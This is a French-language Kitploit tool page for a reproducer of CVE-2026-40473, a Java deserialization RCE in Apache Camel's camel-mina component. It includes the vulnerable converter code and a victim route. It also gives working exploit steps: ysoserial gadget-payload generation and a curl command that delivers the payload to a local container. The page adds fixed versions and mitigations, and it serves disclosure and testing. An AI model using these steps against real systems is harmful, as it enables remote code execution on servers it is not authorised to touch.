Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-40473 — Reproducteur pour CVE-2026-40473 : désérialisation non sécurisée de MinaConverter.toObjectInput dans camel-mina d'Apache Camel (RCE sur TCP/UDP) | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-40473
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationExploitation de Binaires
GitHuboscerd/cve-2026-40473

CVE-2026-40473

Reproducteur pour CVE-2026-40473 : désérialisation non sécurisée de MinaConverter.toObjectInput dans camel-mina d'Apache Camel (RCE sur TCP/UDP)

Voir le dépôt
13il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

camel-mina MinaConverter.toObjectInput Reproducer de désérialisation non sécurisée (CVE-2026-40473)

Ce projet démontre une vulnérabilité de désérialisation Java dans le composant camel-mina d'Apache Camel, suivie sous le numéro CVE-2026-40473. Le convertisseur de type MinaConverter.toObjectInput(IoBuffer) encapsule les octets reçus dans un ObjectInputStream brut sans ObjectInputFilter. Ainsi, une route qui convertit un corps TCP/UDP en ObjectInput et appelle readObject() peut être amenée à une exécution de code à distance par un attaquant envoyant un objet sérialisé contrefait sur le port MINA.

Avis : https://camel.apache.org/security/CVE-2026-40473.html

Résumé de la vulnérabilité

PropriétéValeur
Composantcamel-mina
Classe affectéeorg.apache.camel.component.mina.MinaConverter (toObjectInput)
CWECWE-502 : Désérialisation de données non fiables
ImpactExécution de code à distance (RCE) sur TCP/UDP
Versions affectéesDe 3.0.0 avant 4.14.6, de 4.15.0 avant 4.18.2, de 4.19.0 avant 4.20.0
Versions corrigées4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23319
SignaleurVenkatraman Kumar (Securin)

Détails techniques

Le convertisseur de type IoBuffer → ObjectInput encapsule le tampon dans un ObjectInputStream brut :

// MinaConverter.toObjectInput(IoBuffer) - version affectée
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // PAS de ObjectInputFilter
}

Lorsqu'un consommateur TCP/UDP camel-mina délivre les octets bruts (par exemple avec allowDefaultCodec=false) et que la route demande un ObjectInput (getBody(ObjectInput.class), @Body ObjectInput, ou convertBodyTo(ObjectInput.class)), ce convertisseur s'exécute. L'appel de readObject() sur le flux retourné exécute alors toute chaîne de gadgets dans les octets fournis par l'attaquant.

La route victime

from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // point d'entrée de désérialisation
        exchange.getMessage().setBody("deserialized: " + obj);
    });

Prérequis

  • Java 17+ et Maven 3.8+ (pour construire le jar)
  • Docker (exécute le reproduiseur)
  • ysoserial (pour la génération de charge utile)

Étapes de reproduction

Étape 1 : Construire le jar et démarrer le conteneur

mvn clean package -DskipTests
docker compose up -d --build

Étape 2 : Générer une charge utile malveillante

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Sur JDK 21, ajoutez --add-opens pour générer les gadgets CommonsCollections :
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Étape 3 : L'envoyer via TCP au port MINA (RCE)

curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# L'assistant intégré ouvre un socket TCP brut vers mina:5555 et écrit les octets ; la route victime
# les convertit en ObjectInput et appelle readObject().
# -> ">>> Preuve RCE — /tmp/pwned existe : true"

(Le port MINA 5555 est interne au conteneur dans cette POC ; l'assistant /exploit/inject effectue l'envoi TCP brut depuis l'intérieur. Exposez le port 5555 pour envoyer depuis l'hôte avec un client brut comme nc.)

Étape 4 : Vérifier

docker exec cve-2026-40473 ls -la /tmp/pwned

Nettoyage

docker compose down

Vecteurs d'attaque

Tout consommateur TCP ou UDP camel-mina dont la route convertit le corps en ObjectInput (directement, via @Body ObjectInput, ou convertBodyTo(ObjectInput.class)) est exploitable par quiconque peut atteindre le port MINA.

Conditions d'exploitation

  1. Un consommateur TCP/UDP camel-mina qui demande la conversion du corps reçu en ObjectInput.
  2. Une bibliothèque de gadgets dans le classpath (par exemple commons-collections:3.2.1).

Correctif recommandé

Mettez à jour vers 4.14.6 / 4.18.2 / 4.20.0. Le correctif applique un ObjectInputFilter / une liste blanche de classes au convertisseur (en accord avec le durcissement appliqué à camel-netty, camel-jms et camel-infinispan).

Atténuation

En attendant la mise à jour :

  1. Ne convertissez pas les corps MINA non fiables en ObjectInput / ne les désérialisez pas.
  2. Supprimez les bibliothèques de gadgets (mettez à jour ou supprimez commons-collections 3.x).
  3. Restreignez l'accès réseau au port MINA aux pairs de confiance.

Fichiers

CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # victime : from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject : envoie des octets sérialisés sur TCP vers mina:5555
    └── resources/
        └── application.properties

Avertissement

Ce reproduiseur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil